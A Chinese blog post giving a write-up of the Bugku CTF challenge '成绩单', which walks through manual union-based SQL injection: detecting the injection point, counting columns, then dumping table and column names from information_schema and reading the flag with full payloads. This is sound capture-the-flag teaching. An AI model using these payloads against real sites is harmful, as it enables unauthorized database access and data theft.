博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

bugku 成绩单

 

看起来像是SQL注入,先来试试。

输入1,2,3显示的是三个人成绩。

来试试是否存在注入。

输入1,正常。输入1' 错误。输入1’#正常,说明存在注入点。

首先来看下有几列从1开始试,1’ order by 4#正常,1’ order by 5#错误,说明有五列。

接下来开始使用联合查询,首先将id=-1,先手遍历一下看一下那几个表有回显:

 

 发现这四个表都有回显,然后开始爆破表名。

 

 得到数据库名skctf_flag,接下来爆表名:id=-1'union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()#

 

得到两个表名 fl4g,sc  看起来fl4g像是存放flag的表,接下来开始爆字段:id=-1'union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六进制进行加密。

 

 得到字段skctf_flag,开始获取flagid=-1'union select 1,2,3,skctf_flag from fl4g#

 

 得到flag。

虽然现在工具很多,而且功能很强大,但是手注是基础,对我们理解sql注入的原理有很大的帮助,能手注还是尽量要手注的。

 

posted @ 2019-10-15 21:45  楼--楼  阅读(1581)  评论(2编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();